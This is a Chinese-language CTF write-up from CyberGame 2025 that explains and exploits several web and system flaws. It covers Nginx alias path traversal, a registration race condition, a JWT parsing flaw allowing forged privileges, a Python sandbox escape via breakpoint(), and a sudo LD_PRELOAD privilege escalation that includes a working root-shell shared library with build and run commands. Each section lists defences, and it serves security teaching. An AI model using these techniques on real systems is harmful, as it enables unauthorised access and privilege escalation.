CyberGame 2025 Web Writeup
字数 1663 2025-09-01 11:26:17
Nginx 不安全配置与 Web 安全漏洞利用教学文档
目录
Nginx 不安全配置导致的目录遍历漏洞
漏洞原理
当 Nginx 配置中使用别名(alias)而非根目录(root)时,如果路径末尾没有添加斜杠(/),可能导致目录遍历漏洞。
错误配置示例:
location /images {
alias /app/src/images/; # 正确应该在路径末尾加斜杠
}
利用方法
通过访问 http://example.com/images../,实际会解析为 /app/src/images/../,即 /app/src/ 目录。
实际案例
在题目中,通过访问 http://exp.cybergame.sk:7000/images../ 可以读取到 index.js 文件,其中包含 base64 编码的凭据:
cHIxbmNlc3M6U0stQ0VSVHswZmZfYnlfNF9zMW5nbGVfc2w0c2hfZjgzNmE4YjF9
解码后获得登录凭证:
pr1ncess:SK-CERT{0ff_by_4_s1ngle_sl4sh_f836a8b1}
防御措施
- 始终在别名路径末尾添加斜杠
- 使用
root而非alias当可能时 - 限制访问敏感目录
条件竞争漏洞利用
漏洞场景
在用户注册流程中,存在时间窗口期:
- 用户注册后数据首先存入数据库(此时
verified为 true) - 随后调用
sendEmailToAdministrator将verified设为 false
利用方法
- 快速注册用户
- 在
verified被设为 false 前立即登录
技术细节
- 注册后立即发送登录请求
- 可能需要自动化脚本实现快速操作
- 成功登录后可访问受限资源
防御措施
- 使用事务确保数据一致性
- 在单个原子操作中设置所有属性
- 避免依赖客户端操作顺序
JWT 安全与特权提升
JWT 结构
标准 JWT 格式:header.payload.signature
漏洞利用
题目中的 verifyToken 函数存在逻辑缺陷:
function verifyToken(token) {
const parts = token.split('.');
// 错误:只验证最后两部分,忽略中间部分
const payload = parts[1]; // 实际使用的payload
const verifyPayload = parts[parts.length-2]; // 用于验证的payload
// ...验证逻辑...
return JSON.parse(base64decode(payload));
}
攻击步骤
- 获取合法 token:
header.payload.signature - 构造恶意 token:
header.evilPayload.payload.signatureevilPayload包含特权字段:is_d4rk_pr1nc3ss: true
- 服务器会使用
payload验证签名,但返回evilPayload
防御措施
- 严格验证 JWT 结构应为三部分
- 使用标准库处理 JWT
- 定期轮换签名密钥
Python 沙箱逃逸
漏洞场景
计算器程序存在以下问题:
- 使用
eval()或类似危险函数 - 过滤不充分
利用方法
- 发现
breakpoint()未被过滤 - 通过 breakpoint 启动交互式 shell
breakpoint()会调用pdb.set_trace()- 在 pdb 中可执行任意 Python 代码
防御措施
- 避免使用
eval()/exec() - 使用 AST 解析器限制可用语法
- 在容器中运行不受信任代码
Linux 提权技术
漏洞原理
通过 LD_PRELOAD 环境变量注入恶意共享库到 SUID 程序中。
利用条件
- 有权限设置
LD_PRELOAD - 目标程序是动态链接的
- 目标程序具有更高权限
攻击步骤
- 检查可用程序:
sudo -l - 确认程序是否动态链接:
file /bin/netstat - 创建恶意共享库:
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
system("/bin/sh -i");
}
- 编译:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles - 执行:
sudo LD_PRELOAD=./shell.so netstat
防御措施
- 避免不必要的 SUID 程序
- 使用
capabilities替代 SUID - 定期审计系统权限配置
总结
这些漏洞展示了 Web 应用和系统安全中的常见问题:
- 配置错误导致的未授权访问
- 竞态条件引发的逻辑漏洞
- 认证机制实现缺陷
- 不安全的代码执行
- 权限提升漏洞
防御关键在于:
- 最小权限原则
- 输入验证和输出编码
- 安全配置检查
- 使用经过验证的安全机制